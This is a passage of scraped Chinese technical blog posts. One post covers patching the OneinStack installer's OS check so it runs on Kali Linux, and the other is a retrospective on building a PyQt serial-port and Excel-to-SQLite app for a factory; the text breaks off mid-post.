Linux\u7cfb\u7edf\u4e0a\uff0c\u867d\u7136\u4ed6\u4eec\u90fd\u652f\u6301Debian\u7cfb\u5217\u7684Linux\u7684\u53d1\u884c\u7248\uff0c\u800ckali \r\nlinux\u672c\u8eab\u5c31\u662f\u57fa\u4e8eDebian\uff0c\u89c2\u5bdf\u811a\u672c\u91cc\u9762\u7684\u547d\u4ee4\u540e\u53d1\u73b0\u5176\u5b9e\u53ea\u9700\u8981\u7a0d\u5fae\u505a\u4e00\u4e0b\u4fee\u6539\u5c31\u53ef\u4ee5\u987a\u5229\u5b89\u88c5\u4e86\u3002\r\n</p>\r\n<h2>\r\n\t\u89e3\u51b3\r\n</h2>\r\n<p>\r\n\t\u535a\u4e3b\u5728\u5c1d\u8bd5\u5b89\u88c5OneinStack\u7684\u65f6\u5019\u9047\u5230\u5982\u56fe\u6240\u793a\u7684\u95ee\u9898</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=558\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201710/54db1f6e354e3af72effbfc29595b132.png\" alt=\"2017-10-23 15-18-12\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 29.2 KB - \u5c3a\u5bf8: 626 x 135 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"626\" height=\"135\"></a></div>\u811a\u672c\u63d0\u793a\u4e0d\u652f\u6301\u5f53\u524d\u7cfb\u7edf\u7c7b\u578b\uff0c\u4f7f\u7528vim\u6253\u5f00install.sh\u811a\u672c\u89c2\u5bdf\uff0c\u53d1\u73b0\u5982\u4e0b\u4e00\u6bb5\u4ee3\u7801\r\n\r\n<pre class=\"brush:bash;\">. ./include/check_os.sh</pre>\r\n<p>\r\n\t\u5224\u65ad\u7cfb\u7edf\u7c7b\u578b\u7684\u811a\u672c\u662fcheck_os.sh\uff0c\u4e8e\u662f\u6253\u5f00\u8fd9\u4e2a\u811a\u672c\uff0c\u627e\u5230\u4e0b\u9762\u8fd9\u6bb5\r\n</p>\r\n<pre class=\"brush:bash;\"># kali rolling\r\nelif [ -n \"$(grep 'Kali GNU/Linux Rolling' /etc/issue)\" -o \"$(lsb_release -is 2>/dev/null)\" == \"Kali\" ]; then\r\n OS=Debian</pre>\r\n\u4e4d\u4e00\u770b\u8fd9\u53e5\u5e94\u8be5\u662f\u652f\u6301\u00a0\u00a0\u00a0 Kali\u624d\u5bf9\u554a\uff0c\u600e\u4e48\u4f1a\u4e0d\u652f\u6301\u5462\uff0c\u770b\u4e0bKali\u4e0b\u9762\u662f\u8f93\u51fa\u4e86\u5565\uff0c\u6267\u884c\u547d\u4ee4\r\n<pre class=\"brush:bash;\">root@kali:~# cat /etc/issue\r\nKali GNU/Linux Rolling \\n \\l\r\nroot@kali:~# lsb_release \r\nNo LSB modules are available.</pre>\r\n<p>\r\n\t\u53d1\u73b0\u8fd9\u6837\u8f93\u51fa\u5bf9\u4e8e\u4e0a\u9762\u90a3\u4e2a\u5224\u65ad\u8bed\u53e5\u6765\u8bf4\u5e94\u8be5\u662f\u6210\u7acb\u7684\u624d\u5bf9\uff0c\u4f46\u662f\u4f9d\u7136\u65e0\u6548\uff0c\u4e8e\u662f\u89c2\u5bdf\u5230\u4e0a\u9762\u5173\u4e8eDebian\u7684\u5224\u65ad\r\n</p>\r\n<pre class=\"brush:bash;\">elif [ -n \"$(grep 'bian' /etc/issue)\" -o \"$(lsb_release -is 2>/dev/null)\" == \"Debian\" ]; then\r\n OS=Debian</pre>\r\n<p>\r\n\t\u5bf9\u8fd9\u4e2a\u5224\u65ad\u8fdb\u884c\u4fee\u6539\uff0c\u5c06bian\u4fee\u6539\u4e3aKali\uff0c\u4e4b\u540e\u8fd0\u884cinstall.sh\u53d1\u73b0\u80fd\u591f\u6b63\u5e38\u901a\u8fc7\uff0c\u4fee\u6539\u540e\u7684\u8bed\u53e5\u4e3a\r\n</p>\r\n<pre class=\"brush:bash;\">elif [ -n \"$(grep 'Kali' /etc/issue)\" -o \"$(lsb_release -is 2>/dev/null)\" == \"Debian\" ]; then\r\n OS=Debian</pre><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23457 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["PyQt\u9879\u76ee\u4ece\u5165\u624b\u5230\u653e\u5f03"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2017-10-18, 11:43 AM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "Python", "\n\t\t\t\t\t\t\t\t\n, ", "\u7ecf\u9a8c\u5206\u4eab", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u524d\u8a00\r\n</h2>\r\n<p>\r\n\t\u9996\u5148\u8bf4\u660e\u4e00\u4e0b\uff0c\u8fd9\u4e2a\u9879\u76ee\u5e76\u4e0d\u662f\u4e00\u4e2a\u6bd4\u8f83\u6b63\u5f0f\u7684\u9879\u76ee\uff0c\u53ea\u662f\u535a\u4e3b\u5728\u4e1a\u4f59\u65f6\u95f4\u63a5\u4e0b\u6765\u7684\u4e00\u4e2a\u79c1\u6d3b\uff0c\u9879\u76ee\u867d\u7136\u662f\u4e2a\u5751\uff0c\u4f46\u662f\u4f9d\u7136\u8ba9\u6211\u5b66\u4e60\u5230\u4e86Python\u7684\u5f88\u591a\u77e5\u8bc6\uff0c\u94b1\u6ca1\u6709\u8d5a\u5230\uff0c\u77e5\u8bc6\u5b66\u5230\u4e5f\u7b97\u662f\u4e00\u79cd\u8fdb\u6b65\u5427\u3002\r\n</p>\r\n<p>\r\n\t\u8fd9\u7bc7\u6587\u7ae0\u5c31\u6765\u8bf4\u8bf4\u8fd9\u4e2a\u9879\u76ee\u6211\u662f\u5982\u4f55\u4ece\u5165\u624b\u5230\u653e\u5f03\u7684\uff0c\u987a\u4fbf\u804a\u804a\u7ed9\u4f20\u7edf\u5de5\u5382\u8f66\u95f4\u505a\u8f6f\u4ef6\u7684\u4f53\u9a8c\uff0c\u8fd9\u9178\u723d....\u53ea\u6709\u4eb2\u8eab\u4f53\u9a8c\u624d\u77e5\u9053\u554a\u3002\r\n</p>\r\n<h2>\r\n\t\u80cc\u666f\r\n</h2>\r\n<p>\r\n\t\u5173\u4e8e\u8fd9\u4e2a\u9879\u76ee\u7684\u524d\u671f\u9700\u6c42\u5206\u6790\u9636\u6bb5\u5c31\u4e0d\u591a\u8bf4\u4e86\uff0c\u603b\u7684\u529f\u80fd\u6982\u62ec\u4e00\u4e0b\u5c31\u662f\u8f6f\u4ef6\u63a7\u5236\u4f20\u9001\u5e26\u8fd0\u884c\u4e0e\u505c\u6b62\uff0c\u63a7\u5236\u626b\u7801\u67aa\u626b\u7801\uff0c\u8f6f\u4ef6\u8bb0\u5f55\u626b\u63cf\u7ed3\u679c\u4e0e\u9884\u8bbe\u503c\u8fdb\u884c\u6bd4\u5bf9\uff0c\u7136\u540e\u505a\u5bf9\u5e94\u7684\u62a5\u8b66\u5904\u7406\u3002\r\n</p>\r\n<p>\r\n\t\u62ff\u5230\u9700\u6c42\u4e4b\u540e\u51c6\u5907\u8fdb\u5165\u5f00\u53d1\u9636\u6bb5\uff0c\u535a\u4e3b\u9996\u9009\u7684\u5f00\u53d1\u8bed\u8a00\u662fWPF\uff0c\u4f46\u662f\u535a\u4e3b\u4e4b\u524d\u5e76\u6ca1\u6709WPF\u7684\u5f00\u53d1\u7ecf\u9a8c\uff0c\u653e\u5f03\u3002\u7136\u540e\u8003\u8651\u7684\u662fjava\uff0c\u535a\u4e3b\u7528java\u5199\u8fc7\u754c\u9762\uff0c\u90a3\u4e2a\u75db\u82e6\u7684\u8fc7\u7a0b\u5c31\u4e0d\u8bf4\u4e86\uff0c\u753b\u754c\u9762\u5c82\u662f\u4e00\u822c\u4eba\u80fd\u5e72\u7684\u4e8b\u513f\uff1f\u518d\u8bf4java\u5929\u751f\u5c31\u4e0d\u9002\u5408\u505a\u8fd9\u79cd\u684c\u9762\u5ba2\u6237\u7aef\uff0c\u653e\u5f03java\u3002\u63a5\u7740\u60f3\u5230\u4e86\u6613\u8bed\u8a00\uff0c\u6bd5\u7adf\u535a\u4e3b7\u5e74\u524d\u8fd8\u7528\u6613\u8bed\u8a00\u5199\u8fc7\u5916\u6302\uff0c\u4f46\u662f\u73b0\u5728\u8ba9\u535a\u4e3b\u7528\u6613\u8bed\u8a00\u5f00\u53d1\u4e2a\u684c\u9762\u5ba2\u6237\u7aef\uff0c\u4f3c\u4e4e\u6709\u70b9\u592a\u4e0d\u6b63\u89c4\u4e86\uff0c\u603b\u89c9\u5f97\u602a\u602a\u7684\uff0c\u653e\u5f03\u6613\u8bed\u8a00\u3002\u7136\u540e\u60f3\u5230\u4e86\u5fae\u8f6f\u7684\u8001\u724c\u7f16\u7a0b\u8bed\u8a00VB\uff0c\u5f00\u53d1\u8d77\u6765\u7b80\u5355\uff0c\u4f46\u662f\u535a\u4e3b\u5e76\u6ca1\u6709\u5199\u8fc7VB\u7684\u8f6f\u4ef6\uff0cso...\u653e\u5f03\u3002\u600e\u4e48\u529e\uff1f\u597d\u7126\u8651\u554a\uff01\uff01\u60f3\u6765\u60f3\u53bb\u5ffd\u7136\u60f3\u5230\uff0cPython\u4e0d\u4e5f\u53ef\u4ee5\u5199\u754c\u9762\uff1f\u6b63\u597d\u535a\u4e3b\u8fd8\u662f\u6bd4\u8f83\u64c5\u957f\u5199Python\u7684\uff0c\u53ea\u662f\u5bf9\u4e8ePython\u7684GUI\u7f16\u7a0b\u5e76\u6ca1\u6709\u7ecf\u9a8c\uff0c\u60f3\u60f3\u5e94\u8be5\u4e0d\u4f1a\u592a\u96be\uff08\u4e8b\u5b9e\u8bc1\u660e\u535a\u4e3b\u592a\u5929\u771f\uff09\uff0c\u5c31\u51b3\u5b9a\u4f7f\u7528Python\u5f00\u53d1\u8fd9\u4e2a\u684c\u9762\u7a0b\u5e8f\uff0c\u800c\u4e14\u8fd8\u53ef\u4ee5\u8de8\u5e73\u53f0\u4f7f\u7528\u3002\r\n</p>\r\n<h2>\r\n\t\u5f00\u53d1\r\n</h2>\r\n<p>\r\n\tPython\u7684GUI\u65b9\u6848\u6bd4\u8f83\u591a\uff0c\u535a\u4e3b\u5c31\u9009\u62e9\u4e86<a href=\"https://www.92ez.com/?action=article&tag=pyqt\" onclick=\"javascript:tagshow('pyqt');return false;\">pyqt</a>\uff0cQt\u4f5c\u4e3a\u4e00\u6b3e\u975e\u5e38\u706b\u7206\u7684GUI\u7f16\u7a0b\u65b9\u6848\uff0c\u5728C++\u4e0a\u7528\u7684\u591a\uff0c\u540e\u6765\u88ab\u79fb\u690d\u5230Python\uff0c\u60f3\u5fc5\u4e5f\u4f1a\u8ddfC++\u4e0b\u9762\u4f7f\u7528\u4e00\u6837\u65b9\u4fbf\u5427\u3002\u535a\u4e3b\u7ecf\u8fc7\u77ed\u6682\u7684\u5b66\u4e60\u5c31\u51c6\u5907\u5f00\u5de5\u4e86\uff0c\u7532\u65b9\u95ee\u6211\u591a\u5c11\u65f6\u95f4\u80fd\u591f\u5f00\u53d1\u5b8c\uff0c\u6211\u7ed9\u65f6\u95f4\u4e3a2\u5468\u4ea4\u4ed8\u6d4b\u8bd5\u7248\u672c\uff0c\u62a5\u4ef7\u4e3a5000\u5757\uff0c\u60f3\u5230\u65e2\u7136\u662f\u5e2e\u540c\u5b66\u5f00\u53d1\uff0c\u4ef7\u683c\u968f\u610f\u5c31\u597d\uff0c\u4e3a\u4e86\u4fdd\u9669\u8d77\u89c1\u6211\u63d0\u51fa\u4e86\u5148\u4ed8\u5b9a\u91d1\u7b7e\u5408\u540c\uff0c\u7136\u540e\u518d\u5f00\u53d1\uff0c\u7136\u800cZ\u7684\u9886\u5bfc\u8bf4\u5148\u8ba9\u6211\u51fa\u6d4b\u8bd5\u7248\uff0c\u60f3\u60f3\u65e2\u7136\u9879\u76ee\u4e0d\u5927\u4e5f\u5c31\u7b97\u4e86\uff0c\u5148\u5f00\u53d1\u5c31\u5148\u5f00\u53d1\u5427\u3002\r\n</p>\r\n<p>\r\n\t\u5176\u5b9e2\u5468\u65f6\u95f4\u5bf9\u6211\u6765\u8bf4\u7edd\u5bf9\u662f\u8db3\u591f\u7684\uff0c\u5f00\u53d1\u8fd9\u6837\u4e00\u4e2a\u8f6f\u4ef6\u65e0\u975e\u5c31\u662f\u4e32\u53e3\u901a\u4fe1\uff0c\u6570\u636e\u5e93\u7684\u8bfb\u5199\uff0cexcel\u7684\u89e3\u6790\uff0c\u5bfc\u5165\u5bfc\u51fa\u7b49\u7b49\u8fd9\u4e9b\u529f\u80fd\uff0c\u535a\u4e3b\u4e4b\u524d\u5199Arduino\u7684\u65f6\u5019\u5bf9\u4e32\u53e3\u901a\u4fe1\u4e5f\u6709\u6bd4\u8f83\u6df1\u5165\u7684\u5b66\u4e60\uff0c\u6240\u4ee5\u5199\u8d77\u6765\u96be\u5ea6\u5e76\u4e0d\u662f\u5f88\u5927\u3002\u8fd9\u91cc\u7ed9\u51fa\u6211\u5199\u7684\u6d4b\u8bd5\u7248\u672c\u754c\u9762\uff08\u8fd0\u884c\u5728Linux\u7cfb\u7edf\u4e0b\u9762\uff09</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=557\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201710/8ffac220611dccce8dfd0a2ea8dae638.png\" alt=\"2017-10-18 14-31-50\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 109.13 KB - \u5c3a\u5bf8: 1191 x 721 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"545\"></a></div>\r\n\r\n<p>\r\n\t\u8fd9\u91cc\u5bf9\u4f7f\u7528\u7684\u4e00\u4e9b\u6a21\u5757\u4ee5\u53ca\u5b9e\u73b0\u7684\u65b9\u6cd5\u505a\u4e2a\u7b80\u5355\u7684\u4ecb\u7ecd\uff0c\u8fd8\u6709\u4e00\u4e9b\u5751\u7684\u89e3\u51b3\u65b9\u6cd5\u3002\r\n</p>\r\n<p>\r\n\t\u9996\u5148\uff0c\u9700\u8981\u6784\u5efa\u7a97\u4f53\uff0c\u5b9e\u9645\u4e0a\u6784\u5efa\u7a97\u4f53\u662f\u975e\u5e38\u7b80\u5355\u7684\uff0c\u6211\u8fd9\u91cc\u9700\u8981\u6784\u5efa\u4e24\u4e2a\u7a97\u4f53\uff0c\u4e00\u4e2a\u4e3b\u7a97\u4f53\uff0c\u4e00\u4e2a\u662f\u70b9\u51fb\u8bbe\u7f6e\u6309\u94ae\u7684\u65f6\u5019\u5f39\u51fa\u6765\u7684\u4e00\u4e2a\u6a21\u6001\u6846\uff0c\u5f53\u7136\u6a21\u6001\u6846\u4e5f\u662f\u4e00\u4e2a\u7a97\u4f53\uff0c\u5c06\u5176\u6a21\u5f0f\u8bbe\u7f6e\u4e3a\u6a21\u6001\u5c31\u53ef\u4ee5\u4e86\uff0c\u4f7f\u7528\r\n</p>\r\n<pre class=\"brush:py;\">setModal(True)</pre>\r\n\u5982\u679c\u4f60\u60f3\u8bbe\u7f6e\u4e00\u4e2a\u534a\u900f\u660e\u7684\u7a97\u4f53\u4e5f\u662f\u975e\u5e38\u7684\u7b80\u5355\uff0c\u4f7f\u7528\u4e0b\u9762\u8fd9\u4e2a\u65b9\u6cd5\r\n<pre class=\"brush:py;\">setWindowOpacity(0.5)</pre>\r\n\u9700\u8981\u6ce8\u610f\u7684\u662fPyQt\u91cc\u9762\u5982\u679c\u60f3\u8981\u7a97\u4f53\u542f\u52a8\u7684\u65f6\u5019\u6b63\u597d\u4f4d\u4e8e\u5c4f\u5e55\u6b63\u4e2d\u592e\uff0c\u6ca1\u6709\u4ec0\u4e48\u597d\u65b9\u6cd5\uff0c\u5c31\u662f\u8981\u81ea\u5df1\u8ba1\u7b97\u5bbd\u9ad8\u504f\u79fb\u5750\u6807\u3002\r\n<p>\r\n\t\u5728PyQt\u91cc\u9762\u5e03\u5c40\u5e76\u4e0d\u662f\u5f88\u96be\uff0c\u6709\u4e2a\u5f88\u597d\u7528\u7684\u7ec4\u4ef6\u53eb\u505a\u5f39\u7c27\u7ec4\u4ef6\uff0c\u8fd9\u4e2a\u7ec4\u4ef6\u53ef\u4ee5\u5e2e\u52a9\u4f60\u5b9e\u73b0\u5c45\u5de6\u5c45\u53f3\u7684\u5e03\u5c40\uff0c\u975e\u5e38\u597d\u7528\uff0c\u5177\u4f53\u5b9e\u73b0\u65b9\u6cd5\u53ef\u4ee5\u641c\u7d22PyQt\u7684 addStretch() \u65b9\u6cd5\u3002\r\n</p>\r\n<p>\r\n\t\u901a\u7528\u7684\u4e00\u4e9b\u6837\u5f0f\u8bbe\u7f6e\u90fd\u5bf9\u5e94\u5230\u4e0d\u540c\u7684\u7ec4\u4ef6\uff0c\u6211\u4e4b\u524d\u6709\u6587\u7ae0\u505a\u4e86\u8bb0\u5f55\uff0c\u8fd9\u91cc\u8d34\u51fa\u6765\u6211\u81ea\u5df1\u4f7f\u7528\u7684\u4e00\u4e9b\u7ec4\u4ef6\r\n</p>\r\n<pre class=\"brush:py;\">from PyQt5.QtWidgets import QApplication, QMessageBox, QWidget, QGroupBox, QButtonGroup, QTextBrowser, QHBoxLayout, QComboBox\r\nfrom PyQt5.QtWidgets import QVBoxLayout, QTableWidget, QDialog, QTableWidgetItem, QAbstractItemView, QHeaderView, QRadioButton, QSpinBox, QFileDialog\r\nfrom PyQt5.QtWidgets import QDesktopWidget, QLineEdit, QInputDialog, QGridLayout, QLabel, QPushButton, QFrame\r\nfrom PyQt5.QtGui import QIcon, QCursor, QColor\r\nfrom PyQt5.QtCore import Qt, QSize, QTimer</pre>\r\n<p>\r\n\t\u4e32\u53e3\u901a\u4fe1\u4f7f\u7528\u7684\u662f serial \u6a21\u5757\uff0c\u8fd9\u4e2a\u6a21\u5757\u76f8\u5f53\u7684\u597d\u7528\uff0c\u60f3\u8981\u83b7\u53d6\u4e32\u53e3\u8bbe\u5907\u7684\u5217\u8868\u8981\u5bfc\u5165 serial.tools.list_ports \u8fd9\u4e2a\u5de5\u5177\uff0c\u7136\u540e\u4f7f\u7528\u4e0b\u9762\u8fd9\u6bb5\u4ee3\u7801\u83b7\u53d6\r\n</p>\r\n<pre class=\"brush:py;\">def get_coms():\r\n port_list = list(serial.tools.list_ports.comports())\r\n port_name_list = []\r\n if len(port_list) < 1:\r\n print(\"The Serial port can't find!\")\r\n else:\r\n for port in port_list:\r\n port_name_list.append(list(port)[0])\r\n return port_name_list</pre>\r\n\u662f\u4e0d\u662f\u975e\u5e38\u7684\u7b80\u5355\uff0c\u5982\u679c\u60f3\u8981\u5411\u67d0\u4e2a\u4e32\u53e3\u53d1\u9001\u6570\u636e\u600e\u4e48\u529e\u5462\uff0c\u975e\u5e38\u7b80\u5355\uff0c\u9996\u5148\u5b9e\u4f8b\u5316\u4e00\u4e2a\u4e32\u53e3\u5bf9\u8c61\uff0c\u7136\u540e\u6253\u5f00\u4e32\u53e3\uff0c\u63a5\u7740\u628a\u9700\u8981\u53d1\u9001\u7684\u5b57\u7b26\u4e32\u8f6c\u6362\u6210\u5b57\u8282\u7801\uff0c\u53d1\u9001\u51fa\u53bb\u5c31\u597d\u4e86\uff0c\u4ee3\u7801\u5982\u4e0b\r\n<pre class=\"brush:py;\">try:\r\n self.ser_scanner = serial.Serial(self.serial_name_scanner, 15200, timeout=0)\r\n run_bytes = []\r\n for i in \"56\".split():\r\n run_bytes.append(binascii.a2b_hex(i))\r\n ser.writelines(run_bytes)\r\nexcept Exception as e:\r\n print(e)\r\n</pre>\r\n\u8bb0\u4f4f\u8fd9\u91cc\u4e00\u5b9a\u8981\u4f7f\u7528Try except \u6765\u6355\u83b7\u5f02\u5e38\uff0c\u56e0\u4e3a\u5728\u5b9e\u9645\u4f7f\u7528\u4e2d\u7ecf\u5e38\u4f1a\u9047\u5230\u5404\u79cd\u795e\u5947\u7684\u5f02\u5e38\u64cd\u4f5c\uff0c\u6bd4\u5982\u4e32\u53e3\u63a5\u89e6\u4e0d\u826f\uff0c\u5916\u90e8\u8bbe\u5907\u7a81\u7136\u88ab\u62d4\u51fa\u7b49\u7b49\u60c5\u51b5\uff0c\u5982\u679c\u6ca1\u6709\u5f02\u5e38\u6355\u83b7\u7a0b\u5e8f\u76f4\u63a5\u5c31\u6b7b\u4e86\uff0c\u8981\u4e48\u95ea\u9000\uff0c\u8fd9\u662f\u975e\u5e38\u4e0d\u597d\u7684\u4f53\u9a8c\u3002\r\n<p>\r\n\tPyQt\u91cc\u9762\u8bbe\u7f6e\u6837\u5f0f\u6709\u4e2a\u795e\u5947\u7684\u65b9\u6cd5\uff0c\u5c31\u662f\u5199\u6837\u5f0f\u53ef\u4ee5\u50cf\u5199css\u4e00\u6837\u7b80\u5355\uff0c\u751a\u81f3\u8bed\u6cd5\u90fd\u662f\u4e00\u6837\u7684\uff0c\u5982\u679c\u4f60\u4f7f\u7528\u7684Qtcreator\uff0c\u90a3\u4e48ui\u8ddf\u4e1a\u52a1\u903b\u8f91\u53ef\u4ee5\u5b8c\u5168\u5206\u5f00\uff0c\u535a\u4e3b\u8fd9\u4e2a\u9879\u76ee\u5e76\u6ca1\u6709\u4f7f\u7528Qtcreator\uff0c\u800c\u662f\u76f4\u63a5\u4f7f\u7528idea\u8fdb\u884c\u5f00\u53d1\uff0c\u6240\u4ee5\u5f88\u591a\u4e1c\u897f\u90fd\u662f\u6df7\u5408\u5728\u4e00\u8d77\u7684\uff0c\u5c0f\u9879\u76ee\u53ef\u4ee5\u8fd9\u4e48\u505a\uff0c\u5927\u9879\u76ee\u8fd8\u662f\u5206\u5f00\u6bd4\u8f83\u597d\u3002\r\n</p>\r\n<p>\r\n\t\u4f7f\u7528PyQt\u521b\u5efa\u7684\u9879\u76ee\uff0cUI\u754c\u9762\u5728\u4e0d\u540c\u7684\u7cfb\u7edf\u5e73\u53f0\u4e0a\u6253\u5f00\u663e\u793a\u7684\u6548\u679c\u5f88\u6709\u53ef\u80fd\u4e0d\u4e00\u6837\uff0c\u6240\u4ee5\uff0c\u6709\u65f6\u5019\u9700\u8981\u6839\u636e\u5f53\u524d\u7684\u64cd\u4f5c\u7cfb\u7edf\u7c7b\u578b\u52a8\u6001\u7684\u6539\u53d8\u6837\u5f0f\uff0c\u6211\u8fd9\u91cc\u4f7f\u7528\u7684\u662f platform \u6a21\u5757\u5224\u65ad\u64cd\u4f5c\u7cfb\u7edf\u7c7b\u578b\r\n</p>\r\n<pre class=\"brush:py;\"> if platform == \"linux\" or platform == \"linux2\":\r\n # linux\r\n self.setGeometry(350, 350, 450, 390)\r\n elif platform == \"darwin\":\r\n # OS X\r\n self.setGeometry(350, 350, 450, 330)\r\n elif platform == \"win32\":\r\n # Windows...\r\n self.setGeometry(350, 350, 450, 330)</pre>\r\n<p>\r\n\tPython\u91cc\u9762\u5bf9\u4e8eexcel\u7684\u5bfc\u5165\u5bfc\u51fa\u4e5f\u975e\u5e38\u7b80\u5355\uff0c\u6211\u8fd9\u91cc\u4f7f\u7528\u7684\u6a21\u5757\u662fpyexcel_xls\uff0c\u5bfc\u5165\u5bf9\u5e94\u7684\u65b9\u6cd5\u8fdb\u884c\u5bfc\u5165\u5bfc\u51fa\u64cd\u4f5c\r\n</p>\r\n<pre class=\"brush:py;\">from pyexcel_xls import get_data\r\nfrom pyexcel_xls import save_data</pre>\r\n\u6211\u8fd9\u91cc\u8d34\u51fa\u5bfc\u5165excel\u5e76\u89e3\u6790\u6570\u636e\u7136\u540e\u5b58\u50a8\u5230sqlite\u7684\u4ee3\u7801\uff0c\u5177\u4f53\u542b\u4e49\u5c31\u4e0d\u89e3\u91ca\u4e86\uff0c\u6bd5\u7adf\u9700\u8981\u7ed3\u5408\u4e0a\u4e0b\u6587\u903b\u8f91\u624d\u80fd\u770b\u5f97\u61c2\r\n<pre class=\"brush:py;\"> def excel_import(self):\r\n importFileName, importFileType = QFileDialog.getOpenFileName(self, 'Openfile', './', 'xls Files (*.xls)')\r\n if len(importFileName) < 1:\r\n print('no file found')\r\n else:\r\n xls_data = get_data(importFileName)\r\n xls_list = []\r\n for sheet_n in xls_data.keys():\r\n this_xls_item = xls_data[sheet_n]\r\n if len(this_xls_item) > 0:\r\n xls_list.append(this_xls_item)\r\n if len(xls_list) < 1:\r\n print('xls is empty')\r\n else:\r\n print('xls is usable')\r\n for item in xls_list:\r\n\r\n item_id = item[0][0]\r\n item_website = item[0][1]\r\n item_status = item[0][2]\r\n item_createtime = item[0][3]\r\n insert_item_sql = \"\"\"INSERT INTO records(`barcode`,`status`,`createtime`) VALUES(?,?,?)\"\"\"\r\n try:\r\n my_sqlite_db = Database()\r\n my_sqlite_db.insert(insert_item_sql, [item_website, item_status, item_createtime])\r\n print('save item ok')\r\n self.query_data_from_db()\r\n except Exception as e:\r\n print(e)</pre>\r\n<p>\r\n\t<br>\r\n</p>\r\n<p>\r\n\t\u5173\u4e8e\u7a0b\u5e8f\u7684\u4e00\u4e9b\u5173\u952e\u70b9\u5c31\u5199\u8fd9\u4e48\u591a\uff0c\u5982\u679c\u6709\u670b\u53cb\u9700\u8981\u53c2\u8003\u5b8c\u6574\u4ee3\u7801\u7684\u53ef\u4ee5\u8054\u7cfb\u6211\u90ae\u7bb1\u3002\r\n</p>\r\n<h2>\r\n\t\u540e\u7eed<br>\r\n</h2>\r\n<p>\r\n\t\u7a0b\u5e8f\u5199\u7684\u5dee\u4e0d\u591a\u5b8c\u6210\u7684\u65f6\u5019\u62ff\u53bb\u5de5\u5382\u8fdb\u884c\u6d4b\u8bd5\uff0c\u7531\u4e8e\u5f53\u65f6\u5e26\u7684\u7b14\u8bb0\u672c\u662fLinux\u64cd\u4f5c\u7cfb\u7edf\uff0c\u73b0\u573a\u7f51\u7edc\u73af\u5883\u975e\u5e38\u5dee\uff0c\u5de5\u5382\u91cc\u9762\u53ef\u4f9b\u4f7f\u7528\u7684\u7535\u8111\u914d\u7f6e\u4e5f\u5f88\u4e00\u822c\uff0c\u6211\u53ea\u80fd\u5728\u6211\u7684\u7b14\u8bb0\u672c\u4e0a\u6f14\u793a\uff0c\u6f14\u793a\u8fc7\u7a0b\u6bd4\u8f83\u987a\u5229\uff0c\u800c\u4e14Linux\u4e0b\u9762\u662f\u4e0d\u9700\u8981\u5b89\u88c5\u4efb\u4f55\u8bbe\u5907\u9a71\u52a8\u7684\uff0c\u8fd9\u4e00\u70b9\u975e\u5e38\u597d\u3002\r\n</p>\r\n<p>\r\n\t\u672c\u4ee5\u4e3a\u6f14\u793a\u5b8c\u4e4b\u540e\u5c31\u53ef\u4ee5\u987a\u5229\u7684\u7b7e\u5408\u540c\u8fdb\u884c\u6536\u5c3e\u7684\u5f00\u53d1\uff0c\u56fe\u6837\u56fe\u68ee\u7834\uff01\uff01\uff01\r\n</p>\r\n<p>\r\n\tZ\u7684\u9886\u5bfc\u8bf4\u8f6f\u4ef6\u4e0d\u6b62\u8fd9\u4e2a\u5de5\u5382\u4f7f\u7528\uff0c\u603b\u516c\u53f8\u90a3\u8fb9\u4e5f\u9700\u8981\u4f7f\u7528\uff0c\u800c\u4e14\u603b\u516c\u53f8\u90a3\u8fb9\u7684\u4eba\u770b\u4e0d\u61c2\u4e2d\u6587\uff08PS\uff1a\u8fd9\u4e2a\u5382\u662f\u4e2d\u65e5\u6e2f\u4e09\u65b9\u5408\u8d44\u603b\u516c\u53f8\u5728\u6df1\u5733\uff09\uff0c\u800c\u4e14\u83f2\u5f8b\u5bbe\u90a3\u8fb9\u7684\u5de5\u5382\u4e5f\u9700\u8981\u7528\uff0c\u6240\u4ee5\u8f6f\u4ef6\u9700\u8981\u4f7f\u7528\u5168\u82f1\u6587\u7684\u754c\u9762\uff0c\u8fd9\u5c31\u662f\u524d\u9762\u6211\u7684\u622a\u56fe\u5168\u662f\u82f1\u6587\u7684\u539f\u56e0...\r\n</p>\r\n<p>\r\n\t\u4f60\u4ee5\u4e3a\u8fd9\u6837\u5c31\u7ed3\u675f\u4e86\uff1f\u8fd9\u8fd8\u6ca1\u5b8c\uff0c\u8f6f\u4ef6\u5728\u6388\u6743\u7ed9\u5176\u4ed6\u516c\u53f8\u4f7f\u7528\u7684\u65f6\u5019\u9700\u8981\u6388\u6743\u8d39\uff0cZ\u7684\u5382\u9700\u8981\u6536\u53d6\u5bf9\u5e94\u7684\u8d39\u75